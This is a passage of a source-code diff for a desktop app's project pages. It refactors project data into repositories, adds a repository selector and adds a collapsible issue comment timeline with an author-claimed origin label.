+    repository,
     openBranchPullRequest,
   );
   const hasLocalCheckout = Boolean(
@@ -321,7 +344,7 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
     defaultBranch,
     deleteBranchReason,
     forgetBranch,
-    project,
+    project: repository,
     refetchRepoState: repoStateQuery.refetch,
     rememberBranch,
     selectBranch: handleBranchChange,
@@ -375,9 +398,9 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
       : repoSyncStatusQuery.data?.localPath || localRepoSnapshotQuery.data
         ? "Local"
         : "Local missing",
-    remoteLabel: repoSnapshotQuery.isLoading ? "Remote checking" : "Remote",
+    ...repoRemote.controls,
     onCloneLocal:
-      !selectedTag && project?.cloneUrls[0]
+      !selectedTag && repository?.cloneUrls[0] && repoRemote.canCloneLocally
         ? () => {
             void handleCloneRepo();
           }
@@ -421,7 +444,7 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
   };
   const projectPending = projectQuery.isPending;
   React.useEffect(() => {
-    if (!project) {
+    if (!repository) {
       // While the project query is still loading, keep the URL-seeded
       // pullRequestId/issueId selections — clearing here would discard them
       // before the detail view ever gets a chance to open.
@@ -430,7 +453,7 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
       setSelectedIssueId(null);
       setSelectedCommitHash(null);
     }
-  }, [project, projectPending]);
+  }, [projectPending, repository]);
   React.useEffect(() => {
     setRepoSource((currentSource) => {
       if (selectedTag) return "remote";
@@ -446,7 +469,7 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
     });
   }, [hasLocalCheckout, hasRemoteSnapshot, selectedTag]);
   const peoplePubkeys = React.useMemo(() => {
-    if (!project) return [];
+    if (!repository) return [];
     // Include PR authors/updaters so commit rows can resolve avatars for
     // publishers who are not listed as project contributors.
     const pullRequestPubkeys = (pullRequestsQuery.data ?? []).flatMap(
@@ -465,12 +488,12 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
     ]);
     return [
       ...new Set([
-        ...projectPeople(project),
+        ...projectPeople(repository),
         ...pullRequestPubkeys,
         ...issuePubkeys,
       ]),
     ];
-  }, [issuesQuery.data, project, pullRequestsQuery.data]);
+  }, [issuesQuery.data, pullRequestsQuery.data, repository]);
   const profilesQuery = useUsersBatchQuery(peoplePubkeys, {
     enabled: peoplePubkeys.length > 0,
   });
@@ -566,21 +589,36 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
       toast.success(result.message);
       setRepoSource("local");
     } catch (error) {
-      toast.error(
-        error instanceof Error ? error.message : "Failed to clone repository",
-      );
+      showProjectCloneErrorToast(error, repository?.cloneUrls[0]);
     }
-  }, [cloneRepoMutation]);
+  }, [cloneRepoMutation, repository?.cloneUrls]);
   const handlePullRequestCreated = React.useCallback(
-    async (createdProject: Project, pullRequestId: string) => {
+    async (
+      createdProject: Project,
+      createdRepository: Repository,
+      pullRequestId: string,
+    ) => {
       if (createdProject.id !== projectId) {
-        await goProject(createdProject.id, { pullRequestId });
+        await goProject(createdProject.id, {
+          pullRequestId,
+          repositoryId: createdRepository.id,
+        });
         return;
       }
-      await pullRequestsQuery.refetch();
+      if (createdRepository.id === repository?.id) {
+        await pullRequestsQuery.refetch();
+      } else {
+        applyRepositorySearch({ repositoryId: createdRepository.id });
+      }
       setSelectedPullRequestId(pullRequestId);
     },
-    [goProject, projectId, pullRequestsQuery],
+    [
+      applyRepositorySearch,
+      goProject,
+      projectId,
+      pullRequestsQuery,
+      repository?.id,
+    ],
   );
   const handleCreateIssue = React.useCallback(
     async ({ body, title }: CreateIssueDialogInput) => {
@@ -640,12 +678,12 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
   ]);
   const openTerminal = useOpenProjectTerminal(activeCommunity?.reposDir);
   const handleOpenTerminal = React.useCallback(() => {
-    if (!project) return Promise.resolve();
-    return openTerminal(project, {
+    if (!repository) return Promise.resolve();
+    return openTerminal(repository, {
       branch: activeBranch,
       hasLocalCheckout,
     });
-  }, [activeBranch, hasLocalCheckout, openTerminal, project]);
+  }, [activeBranch, hasLocalCheckout, openTerminal, repository]);
   const handleOpenMergeRecoveryTerminal = React.useCallback(
     async (input: {
       expectedCommit: string;
@@ -653,22 +691,22 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
       sourceCloneUrl: string;
       targetBranch: string;
     }) => {
-      const targetCloneUrl = project?.cloneUrls[0];
-      if (!project || !targetCloneUrl) {
+      const targetCloneUrl = repository?.cloneUrls[0];
+      if (!repository || !targetCloneUrl) {
         throw new Error("No project selected.");
       }
       return openProjectMergeRecoveryTerminal({
         ...input,
-        projectDtag: project.dtag,
+        projectDtag: repository.dtag,
         reposDir: activeCommunity?.reposDir,
         targetCloneUrl,
       });
     },
-    [activeCommunity?.reposDir, project],
+    [activeCommunity?.reposDir, repository],
   );
 
   if (projectQuery.isLoading) {
-    return null;
+    return <ViewLoadingFallback kind="projects" />;
   }
   if (projectQuery.isError) {
     return (
@@ -717,10 +755,20 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
       </div>
     );
   }
+  if (!repository) {
+    return (
+      <div className="flex flex-1 flex-col items-center justify-center gap-3 px-4 py-16 text-center">
+        <FolderGit2 className="h-10 w-10 text-muted-foreground/40" />
+        <p className="text-sm font-medium text-foreground">{project.name}</p>
+        <p className="text-sm text-muted-foreground">
+          This project does not have any available repositories yet.
+        </p>
+        <UnavailableProjectRepositories project={project} />
+      </div>
+    );
+  }
 
   const repoContributors = repoSnapshotQuery.data?.contributors ?? [];
-  const safeWebUrl =
-    project.webUrl && isSafeUrl(project.webUrl) ? project.webUrl : null;
   const selectedPullRequest =
     pullRequestsQuery.data?.find((item) => item.id === selectedPullRequestId) ??
     null;
@@ -770,6 +818,19 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
     // instead of whatever tab the work item left behind.
     setTabsResetKey((key) => key + 1);
   };
+  const handleRepositoryChange = (nextRepositoryId: string) => {
+    applyRepositorySearch({
+      repositoryId: nextRepositoryId,
+      issueId: null,
+      pullRequestId: null,
+      commitHash: null,
+    });
+    setSelectedPullRequestId(null);
+    setSelectedIssueId(null);
+    setSelectedCommitHash(null);
+    setRepoSource("remote");
+    setTabsResetKey((key) => key + 1);
+  };
 
   return (
     <ProfilePanelProvider onOpenProfilePanel={handleOpenProfilePanel}>
@@ -781,101 +842,19 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
       />
       <div className="flex min-h-0 min-w-0 flex-1 flex-row overflow-hidden">
         <div className="relative flex min-h-0 min-w-0 flex-1 flex-col overflow-hidden">
-          <div
-            className={cn(
-              "pointer-events-none relative z-30 overflow-hidden rounded-tl-xl bg-background/80 backdrop-blur-md supports-backdrop-filter:bg-background/70 dark:bg-background/70 dark:backdrop-blur-xl dark:supports-backdrop-filter:bg-background/55",
-              channelChrome.negativeMargin,
-              topChromeInset.divider,
-            )}
-            ref={projectDetailHeaderChromeRef}
-          >
-            <div
-              className="pointer-events-auto flex min-h-[2.75rem] items-center justify-between gap-3 px-4 py-1.5"
-              data-tauri-drag-region
-            >
-              <nav
-                aria-label="Project breadcrumb"
-                className="-ml-1 flex min-w-0 items-center gap-0.5 text-xs text-muted-foreground"
-              >
-                <button
-                  className="flex shrink-0 items-center gap-1.5 rounded-md px-1 py-1 font-medium transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
-                  onClick={() => {
-                    void goProjects();
-                  }}
-                  type="button"
-                >
-                  <FolderGit2 className="h-3.5 w-3.5" />
-                  Projects
-                </button>
-                <ChevronRight className="h-3 w-3 shrink-0 text-muted-foreground/60" />
-                {activeWorkItemCrumb ? (
-                  <>
-                    <button
-                      className="min-w-0 truncate rounded-md px-0.5 py-1 font-medium transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
-                      onClick={handleGoToProjectHome}
-                      type="button"
-                    >
-                      {project.name}
-                    </button>
-                    <ChevronRight className="h-3 w-3 shrink-0 text-muted-foreground/60" />
-                    <button
-                      className="shrink-0 rounded-md px-0.5 py-1 font-medium transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
-                      onClick={activeWorkItemCrumb.clear}
-                      type="button"
-                    >
-                      {activeWorkItemCrumb.category}
-                    </button>
-                    <ChevronRight className="h-3 w-3 shrink-0 text-muted-foreground/60" />
-                    <span
-                      aria-current="page"
-                      className="min-w-0 truncate px-0.5 font-medium text-muted-foreground/60"
-                    >
-                      {activeWorkItemCrumb.title}
-                    </span>
-                  </>
-                ) : activeTabCrumb ? (
-                  <>
-                    <button
-                      className="min-w-0 truncate rounded-md px-0.5 py-1 font-medium transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
-                      onClick={handleGoToProjectHome}
-                      type="button"
-                    >
-                      {project.name}
-                    </button>
-                    <ChevronRight className="h-3 w-3 shrink-0 text-muted-foreground/60" />
-                    <span
-                      aria-current="page"
-                      className="min-w-0 truncate px-0.5 font-medium text-muted-foreground/60"
-                    >
-                      {activeTabCrumb}
-                    </span>
-                  </>
-                ) : (
-                  <span
-                    aria-current="page"
-                    className="min-w-0 truncate px-0.5 font-medium text-muted-foreground/60"
-                  >
-                    {project.name}
-                  </span>
-                )}
-              </nav>
-              {project.projectChannelId ? (
-                <Button
-                  className="h-8 shrink-0 gap-1.5"
-                  onClick={() => {
-                    if (project.projectChannelId) {
-                      void goChannel(project.projectChannelId);
-                    }
-                  }}
-                  size="sm"
-                  variant="outline"
-                >
-                  <MessageSquare className="h-4 w-4" />
-                  Open Discussion
-                </Button>
-              ) : null}
-            </div>
-          </div>
+          <ProjectDetailChrome
+            activeTabCrumb={activeTabCrumb}
+            activeWorkItemCrumb={activeWorkItemCrumb}
+            chromeRef={projectDetailHeaderChromeRef}
+            onGoChannel={(channelId) => {
+              void goChannel(channelId);
+            }}
+            onGoProjectHome={handleGoToProjectHome}
+            onGoProjects={() => {
+              void goProjects();
+            }}
+            project={project}
+          />
 
           <div className="flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto px-4 pb-4">
             <div className="w-full space-y-3 pt-[calc(var(--buzz-channel-content-top-padding,5.75rem)_+_1px)]">
@@ -886,7 +865,9 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
                       <h2 className="truncate text-xl font-semibold tracking-tight">
                         {project.name}
                       </h2>
-                      {safeWebUrl ? (
+                      {repoRemote.webUrl &&
+                      (repoRemote.host.kind !== "external" ||
+                        repoSource === "local") ? (
                         <Button
                           asChild
                           aria-label="Open project web page"
@@ -895,7 +876,7 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
                           variant="ghost"
                         >
                           <a
-                            href={safeWebUrl}
+                            href={repoRemote.webUrl}
                             rel="noopener noreferrer"
                             target="_blank"
                           >
@@ -905,11 +886,23 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
                       ) : null}
                     </div>
                   </div>
+                  <div className="flex shrink-0 items-center gap-2">
+                    <span className="hidden text-xs font-medium text-muted-foreground sm:inline">
+                      Repository
+                    </span>
+                    <ProjectRepositoryManagement
+                      identityPubkey={identityQuery.data?.pubkey}
+                      onChange={handleRepositoryChange}
+                      project={project}
+                      projects={projectsQuery.data ?? []}
+                      repository={repository}
+                    />
+                  </div>
                 </div>
               </section>
 
               <WorkspaceTabs
-                key={`${project.id}:${tabsResetKey}`}
+                key={`${project.id}:${repository.id}:${tabsResetKey}`}
                 commitDiff={commitDiffQuery.data}
                 commitDiffError={commitDiffQuery.error}
                 commitDiffLoading={commitDiffQuery.isLoading}
@@ -951,7 +944,8 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
                 }
                 onSelectedTabChange={setActiveTab}
                 profiles={profiles}
-                project={project}
+                project={repository}
+                projectId={project.id}
                 repoDiff={displayedRepoDiff}
                 repoDiffError={displayedRepoDiffError}
                 repoDiffLoading={displayedRepoDiffLoading}
@@ -959,6 +953,7 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
                 pullRequestsError={pullRequestsQuery.error}
                 pullRequestsLoading={pullRequestsQuery.isLoading}
                 repoContributors={repoContributors}
+                repoHost={repoRemote.host}
                 repoSource={repoSource}
                 selectedCommitHash={selectedCommitHash}
                 selectedIssueId={selectedIssueId}
diff --git a/desktop/src/features/projects/ui/ProjectIssueCommentTimeline.tsx b/desktop/src/features/projects/ui/ProjectIssueCommentTimeline.tsx
new file mode 100644
index 0000000000..72c76c5473
--- /dev/null
+++ b/desktop/src/features/projects/ui/ProjectIssueCommentTimeline.tsx
@@ -0,0 +1,136 @@
+import { ChevronDown, ChevronUp, History, MessageSquare } from "lucide-react";
+import * as React from "react";
+
+import type { ProjectIssue } from "@/features/projects/hooks";
+import {
+  formatExactTimestamp,
+  pluralize,
+  relativeTime,
+} from "@/features/projects/lib/projectsViewHelpers";
+import {
+  resolveUserLabel,
+  type UserProfileLookup,
+} from "@/features/profile/lib/identity";
+import { ProfileAuthorName } from "./ProjectProfileIdentity";
+import { ProjectRichContent } from "./ProjectRichContent";
+
+const COLLAPSED_COMMENT_COUNT = 3;
+
+export function ProjectIssueCommentTimeline({
+  comments,
+  profiles,
+}: {
+  comments: ProjectIssue["comments"];
+  profiles?: UserProfileLookup;
+}) {
+  const [isCollapsed, setIsCollapsed] = React.useState(false);
+  const [isExpanded, setIsExpanded] = React.useState(false);
+  const orderedComments = React.useMemo(
+    () =>
+      [...comments].sort(
+        (left, right) =>
+          left.createdAt - right.createdAt || left.id.localeCompare(right.id),
+      ),
+    [comments],
+  );
+  const earlierCommentCount = Math.max(
+    0,
+    orderedComments.length - COLLAPSED_COMMENT_COUNT,
+  );
+  const visibleComments =
+    isExpanded || earlierCommentCount === 0
+      ? orderedComments
+      : orderedComments.slice(-COLLAPSED_COMMENT_COUNT);
+  const displayedComments = isCollapsed ? [] : visibleComments;
+
+  if (orderedComments.length === 0) {
+    return <p className="text-sm text-muted-foreground">No comments yet.</p>;
+  }
+
+  return (
+    <div className="-mx-4 overflow-hidden border-border/50 border-b">
+      <button
+        aria-expanded={!isCollapsed}
+        className="flex min-h-10 w-full items-center gap-2 px-3 py-2.5 text-sm font-semibold text-muted-foreground transition-colors hover:text-foreground"
+        data-testid="project-issue-comment-history-toggle"
+        onClick={() => setIsCollapsed((current) => !current)}
+        type="button"
+      >
+        <span className="relative flex w-5 shrink-0 justify-center self-stretch">
+          {!isCollapsed ? (
+            <span className="absolute top-2.5 -bottom-[1.875rem] w-px bg-border/80" />
+          ) : null}
+          <span className="relative z-10 flex h-5 w-5 items-center justify-center rounded-full bg-primary/10 text-primary ring-1 ring-primary/35">
+            <History className="h-3 w-3" />
+          </span>
+        </span>
+        <span className="flex min-h-5 min-w-0 flex-1 items-center text-left">
+          {isCollapsed
+            ? `Show ${pluralize(orderedComments.length, "earlier comment")}`
+            : "Collapse comment history"}
+        </span>
+        {isCollapsed ? (
+          <ChevronDown className="mt-0.5 h-3.5 w-3.5" />
+        ) : (
+          <ChevronUp className="mt-0.5 h-3.5 w-3.5" />
+        )}
+      </button>
+
+      {!isCollapsed && earlierCommentCount > 0 && !isExpanded ? (
+        <button
+          className="flex min-h-10 w-full items-center gap-2 px-3 py-2.5 text-sm font-semibold text-muted-foreground transition-colors hover:text-foreground"
+          data-testid="project-issue-earlier-comments"
+          onClick={() => setIsExpanded(true)}
+          type="button"
+        >
+          <span className="relative flex w-5 shrink-0 justify-center self-stretch">
+            <span className="absolute top-2.5 -bottom-[1.875rem] w-px bg-border/80" />
+            <span className="relative z-10 flex h-5 w-5 items-center justify-center rounded-full bg-background ring-1 ring-border/70">
+              <ChevronDown className="h-3 w-3" />
+            </span>
+          </span>
+          <span className="min-w-0 flex-1 text-left">
+            Show {pluralize(earlierCommentCount, "earlier comment")}
+          </span>
+        </button>
+      ) : null}
+
+      {displayedComments.map((comment, index) => (
+        <div
+          className="flex min-h-10 min-w-0 items-start gap-2 px-3 py-2.5 text-sm text-muted-foreground"
+          data-testid="project-issue-comment-timeline-row"
+          key={comment.id}
+        >
+          <div className="relative flex w-5 shrink-0 justify-center self-stretch">
+            {index < displayedComments.length - 1 ? (
+              <span className="absolute top-2.5 -bottom-[1.875rem] w-px bg-border/80" />
+            ) : null}
+            <span className="relative z-10 flex h-5 w-5 items-center justify-center rounded-full bg-background ring-1 ring-border/70">
+              <MessageSquare className="h-3 w-3" />
+            </span>
+          </div>
+          <div className="min-w-0 flex-1">
+            <div className="flex min-w-0 items-center">
+              <span className="min-w-0 flex-1 truncate">
+                <ProfileAuthorName pubkey={comment.author}>
+                  {resolveUserLabel({ profiles, pubkey: comment.author })}
+                </ProfileAuthorName>
+              </span>
+              <span
+                className="ml-auto w-20 shrink-0 text-right text-xs text-muted-foreground/70"
+                title={formatExactTimestamp(comment.createdAt)}
+              >
+                {relativeTime(comment.createdAt)}
+              </span>
+            </div>
+            <ProjectRichContent
+              className="mt-1 text-sm text-foreground/90"
+              content={comment.content}
+              tags={comment.tags}
+            />
+          </div>
+        </div>
+      ))}
+    </div>
+  );
+}
diff --git a/desktop/src/features/projects/ui/ProjectIssuesPanel.tsx b/desktop/src/features/projects/ui/ProjectIssuesPanel.tsx
index 104000e553..6f34248dd1 100644
--- a/desktop/src/features/projects/ui/ProjectIssuesPanel.tsx
+++ b/desktop/src/features/projects/ui/ProjectIssuesPanel.tsx
@@ -4,8 +4,8 @@ import { toast } from "sonner";
 
 import { ForumComposer } from "@/features/forum/ui/ForumComposer";
 import {
-  type Project,
   type ProjectIssue,
+  type Repository as Project,
   useCreateProjectIssueCommentMutation,
   useProjectIssuesQuery,
 } from "@/features/projects/hooks";
@@ -22,6 +22,8 @@ import {
   ProjectFeedRowCluster,
   ProjectFeedRowMonoCell,
 } from "./ProjectFeedRow";
+import { ProjectIssueCommentTimeline } from "./ProjectIssueCommentTimeline";
+import { ProjectOriginReference } from "./ProjectOriginReference";
 import { OverviewRailSection } from "./ProjectOverviewPanel";
 import { ProfileIdentityButton } from "./ProjectProfileIdentity";
 import { ProjectRichContent } from "./ProjectRichContent";
@@ -67,29 +69,6 @@ function issueMembers(
   });
 }
 
-function AuthorIdentity({
-  profiles,
-  pubkey,
-  role,
-}: {
-  profiles?: UserProfileLookup;
-  pubkey: string;
-  role?: React.ReactNode;
-}) {
-  const profile = profiles?.[normalizePubkey(pubkey)];
-  return (
-    <ProfileIdentityButton
-      align="center"
-      avatarSize="xs"
-      avatarUrl={profile?.avatarUrl ?? null}
-      isAgent={profile?.isAgent === true}
-      label={resolveUserLabel({ profiles, pubkey })}
-      pubkey={pubkey}
-      role={role}
-    />
-  );
-}
-
 function IssueRow({
   issue,
   onOpen,
@@ -141,10 +120,15 @@ function IssueRow({
       trailing={
         <>
           {issue.comments.length > 0 ? (
-            <span className="flex items-center gap-1 text-xs text-muted-foreground">
+            <button
+              aria-label={`View ${issue.comments.length} comments`}
+              className="flex items-center gap-1 rounded-md text-xs text-muted-foreground hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+              onClick={onOpen}
+              type="button"
+            >
               <MessageSquare className="h-3.5 w-3.5" />
               {issue.comments.length}
-            </span>
+            </button>
           ) : null}
           <ProjectFeedRowCluster>
             <ProjectFeedRowMonoCell
@@ -211,9 +195,13 @@ export function ProjectIssueDetail({
       <div className="min-w-0 divide-y divide-border/50">
         <header className="space-y-3 p-4">
           <div className="min-w-0">
-            <p className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
+            <p className="flex flex-wrap items-center gap-1.5 text-xs font-medium text-muted-foreground">
               <CircleDot className="h-3.5 w-3.5" />
               Issue from {authorLabel}
+              <ProjectOriginReference
+                agentName={issue.originAgentName}
+                channelId={issue.channelId}
+              />
             </p>
             <h3 className="mt-1 line-clamp-2 text-base font-semibold text-foreground">
               {issue.title}{" "}
@@ -228,37 +216,26 @@ export function ProjectIssueDetail({
         </header>
 
         <section className="space-y-3 p-4">
+          <ProjectIssueCommentTimeline
+            comments={issue.comments}
+            key={issue.id}
+            profiles={profiles}
+          />
           <h4 className="flex items-center gap-1.5 text-sm font-semibold text-foreground">
             <MessageSquare className="h-3.5 w-3.5" />
             Add Your Comment
           </h4>
-          {issue.comments.length > 0 ? (
-            <div className="space-y-3">
-              {issue.comments.map((item) => (
-                <article key={item.id}>
-                  <div className="mb-2">
-                    <AuthorIdentity
-                      profiles={profiles}
-                      pubkey={item.author}
-                      role={relativeTime(item.createdAt)}
-                    />
-                  </div>
-                  <ProjectRichContent content={item.content} tags={item.tags} />
-                </article>
-              ))}
-            </div>
-          ) : (
-            <p className="text-sm text-muted-foreground">No comments yet.</p>
-          )}
-          <ForumComposer
-            className="border border-border/60 bg-background/45"
-            disabled={commentMutation.isPending}
-            isSending={commentMutation.isPending}
-            members={members}
-            onSubmit={handleCommentSubmit}
-            placeholder="Add a comment…"
-            profiles={profiles}
-          />
+          <div data-testid="project-issue-comment-composer">
+            <ForumComposer
+              className="border border-border/60 bg-background/45"
+              disabled={commentMutation.isPending}
+              isSending={commentMutation.isPending}
+              members={members}
+              onSubmit={handleCommentSubmit}
+              placeholder="Add a comment…"
+              profiles={profiles}
+            />
+          </div>
         </section>
       </div>
 
diff --git a/desktop/src/features/projects/ui/ProjectOriginReference.tsx b/desktop/src/features/projects/ui/ProjectOriginReference.tsx
new file mode 100644
index 0000000000..e9037372cf
--- /dev/null
+++ b/desktop/src/features/projects/ui/ProjectOriginReference.tsx
@@ -0,0 +1,56 @@
+import { useAppNavigation } from "@/app/navigation/useAppNavigation";
+import { useChannelsQuery } from "@/features/channels/hooks";
+
+export function ProjectOriginReference({
+  agentName,
+  channelId,
+}: {
+  agentName?: string | null;
+  channelId?: string | null;
+}) {
+  const { goChannel } = useAppNavigation();
+  const channelsQuery = useChannelsQuery({ enabled: Boolean(channelId) });
+  const channel = channelsQuery.data?.find(
+    (candidate) => candidate.id === channelId,
+  );
+
+  if (channelId) {
+    return (
+      <span
+        className="inline-flex min-w-0 items-center gap-1"
+        title="Origin is claimed by the event author and is not relay-verified."
+      >
+        <span>started from</span>
+        {channel ? (
+          <button
+            aria-label={`Open author-claimed origin channel #${channel.name}`}
+            className="truncate font-medium text-foreground underline-offset-2 hover:underline"
+            onClick={() => void goChannel(channel.id)}
+            type="button"
+          >
+            #{channel.name}
+          </button>
+        ) : (
+          <span>a public channel</span>
+        )}
+        <span>(author-claimed)</span>
+      </span>
+    );
+  }
+
+  if (agentName) {
+    return (
+      <span
+        className="inline-flex min-w-0 items-center gap-1"
+        title="The private conversation identifier is intentionally omitted."
+      >
+        <span>started privately with</span>
+        <span className="truncate font-medium text-foreground">
+          {agentName}
+        </span>
+      </span>
+    );
+  }
+
+  return null;
+}
diff --git a/desktop/src/features/projects/ui/ProjectOverviewPanel.tsx b/desktop/src/features/projects/ui/ProjectOverviewPanel.tsx
index d0e5c76bef..de9044e1a5 100644
--- a/desktop/src/features/projects/ui/ProjectOverviewPanel.tsx
+++ b/desktop/src/features/projects/ui/ProjectOverviewPanel.tsx
@@ -9,11 +9,11 @@ import type * as React from "react";
 
 import { cn } from "@/shared/lib/cn";
 import type {
-  Project,
   ProjectPullRequest,
   ProjectRepoContributor,
   ProjectRepoFile,
   ProjectRepoSnapshot,
+  Repository as Project,
 } from "@/features/projects/hooks";
 import type { UserProfileLookup } from "@/features/profile/lib/identity";
 import {
@@ -21,6 +21,7 @@ import {
   languageForPath,
   topLanguagesFromCounts,
 } from "@/features/projects/lib/projectLanguages";
+import type { ProjectRepoUnavailableReason } from "@/features/projects/lib/projectRepoAvailability";
 import { normalizePubkey } from "@/shared/lib/pubkey";
 import { UserAvatar } from "@/shared/ui/UserAvatar";
 import { PROJECT_DETAIL_PANEL_CLASS } from "./projectPanelStyles";
@@ -29,7 +30,10 @@ import type { RepoSourceHeaderControls } from "./ProjectRepositorySource";
 
 type ProjectOverviewPanelProps = {
   contributors: ProjectRepoContributor[];
+  externalHost?: string;
+  externalUrl?: string | null;
   files: ProjectRepoFile[];
+  gitDataState: GitDataState;
   project: Project;
   onViewContributors: () => void;
   profiles?: UserProfileLookup;
@@ -38,11 +42,10 @@ type ProjectOverviewPanelProps = {
   snapshot: ProjectRepoSnapshot | null | undefined;
   /** Branch picker + remote/local toggle for the readme header. */
   sourceControls?: RepoSourceHeaderControls;
+  unavailableReason?: ProjectRepoUnavailableReason;
 };
 
-function shortHash(hash: string | undefined) {
-  return hash ? hash.slice(0, 7) : "None";
-}
+export type GitDataState = "checking" | "available" | "empty" | "unavailable";
 
 function topLanguages(files: ProjectRepoFile[]) {
   const counts: Record<string, number> = {};
@@ -139,7 +142,10 @@ export function OverviewRailSection({
 
 export function ProjectOverviewPanel({
   contributors,
+  externalHost,
+  externalUrl,
   files,
+  gitDataState,
   onViewContributors,
   project,
   profiles,
@@ -147,91 +153,115 @@ export function ProjectOverviewPanel({
   readmeFile,
   snapshot,
   sourceControls,
+  unavailableReason,
 }: ProjectOverviewPanelProps) {
   const languages = topLanguages(files);
   const people = projectPeople(project);
   const latestCommit = snapshot?.latestCommit ?? null;
+  const gitDataAvailable = gitDataState === "available";
+  const unavailableSplash = gitDataState === "unavailable";
 
   return (
     <div
-      className={`grid xl:grid-cols-[minmax(0,1fr)_18rem] ${PROJECT_DETAIL_PANEL_CLASS}`}
+      className={cn(
+        "grid",
+        PROJECT_DETAIL_PANEL_CLASS,
+        !unavailableSplash && "xl:grid-cols-[minmax(0,1fr)_18rem]",
+      )}
       data-project-detail-panel
     >
       <div className="min-w-0">
         {/* ReadmePanel renders its own "no README" fallback while keeping
             the branch + source controls reachable. */}
-        <ReadmePanel file={readmeFile} sourceControls={sourceControls} />
+        <ReadmePanel
+          externalHost={externalHost}
+          externalUrl={externalUrl}
+          file={readmeFile}
+          gitDataState={gitDataState}
+          sourceControls={sourceControls}
+          unavailableReason={unavailableReason}
+        />
       </div>
-      <aside className="space-y-6 border-t border-border/60 p-4 xl:border-l xl:border-t-0">
-        <OverviewRailSection title="People">
-          <div className="flex items-center justify-between gap-3">
-            <PeopleAvatars people={people} profiles={profiles} />
-            <button
-              className="shrink-0 rounded-md text-xs font-medium text-primary hover:underline focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
-              onClick={onViewContributors}
-              type="button"
-            >
-              View all
-            </button>
-          </div>
-        </OverviewRailSection>
-        <OverviewRailSection title="Top Languages">
-          {languages.length > 0 ? (
-            <LanguageChips languages={languages} />
-          ) : (
-            <p className="text-sm text-muted-foreground">
-              No language data is available yet.
-            </p>
-          )}
-        </OverviewRailSection>
-        <OverviewRailSection title="Repository">
-          <dl className="space-y-2 text-sm">
-            <div className="flex items-center justify-between gap-3">
-              <dt className="flex items-center gap-1.5 text-muted-foreground">
-                <GitBranch className="h-3.5 w-3.5" />
-                Branch
-              </dt>
-              <dd className="font-medium text-foreground">
-                {project.defaultBranch}
-              </dd>
-            </div>
-            <div className="flex items-center justify-between gap-3">
-              <dt className="flex items-center gap-1.5 text-muted-foreground">
-                <GitCommitHorizontal className="h-3.5 w-3.5" />
-                Latest
-              </dt>
-              <dd className="font-mono text-xs text-foreground">
-                {shortHash(latestCommit?.hash)}
-              </dd>
-            </div>
-            <div className="flex items-center justify-between gap-3">
-              <dt className="flex items-center gap-1.5 text-muted-foreground">
-                <FileCode2 className="h-3.5 w-3.5" />
-                Files
-              </dt>
-              <dd className="font-medium text-foreground">{files.length}</dd>
-            </div>
-            <div className="flex items-center justify-between gap-3">
-              <dt className="flex items-center gap-1.5 text-muted-foreground">
-                <Users className="h-3.5 w-3.5" />
-                Contributors
-              </dt>
-              <dd className="font-medium text-foreground">
-                {contributors.length}
-              </dd>
-            </div>
+      {!unavailableSplash ? (
+        <aside className="space-y-6 border-t border-border/60 p-4 xl:border-l xl:border-t-0">
+          <OverviewRailSection title="People">
             <div className="flex items-center justify-between gap-3">
-              <dt className="flex items-center gap-1.5 text-muted-foreground">
-                <GitPullRequest className="h-3.5 w-3.5" />
-                Pull Requests
-              </dt>
-              <dd className="font-medium text-foreground">
-                {pullRequests.length}
-              </dd>
+              <PeopleAvatars people={people} profiles={profiles} />
+              <button
+                className="shrink-0 rounded-md text-xs font-medium text-primary hover:underline focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+                onClick={onViewContributors}
+                type="button"
+              >
+                View all
+              </button>
             </div>
-          </dl>
-        </OverviewRailSection>
-      </aside>
+          </OverviewRailSection>
+          <OverviewRailSection title="Top Languages">
+            {languages.length > 0 ? (
+              <LanguageChips languages={languages} />
+            ) : (
+              <p className="text-sm text-muted-foreground">
+                No language data is available yet.
+              </p>
+            )}
+          </OverviewRailSection>
+          <OverviewRailSection title="Buzz Activity">
+            <dl className="space-y-2 text-sm">
+              <div className="flex items-center justify-between gap-3">
+                <dt className="flex items-center gap-1.5 text-muted-foreground">
+                  <GitPullRequest className="h-3.5 w-3.5" />
+                  Pull Requests
+                </dt>
+                <dd className="font-medium text-foreground">
+                  {pullRequests.length}
+                </dd>
+              </div>
+            </dl>
+          </OverviewRailSection>
+          <OverviewRailSection title="Git">
+            <dl className="space-y-2 text-sm">
+              <div className="flex items-center justify-between gap-3">
+                <dt className="flex items-center gap-1.5 text-muted-foreground">
+                  <GitBranch className="h-3.5 w-3.5" />
+                  Branch
+                </dt>
+                <dd className="font-medium text-foreground">
+                  {project.defaultBranch}
+                </dd>
+              </div>
+              <div className="flex items-center justify-between gap-3">
+                <dt className="flex items-center gap-1.5 text-muted-foreground">
+                  <GitCommitHorizontal className="h-3.5 w-3.5" />
+                  Latest
+                </dt>
+                <dd className="font-mono text-xs text-foreground">
+                  {gitDataAvailable && latestCommit
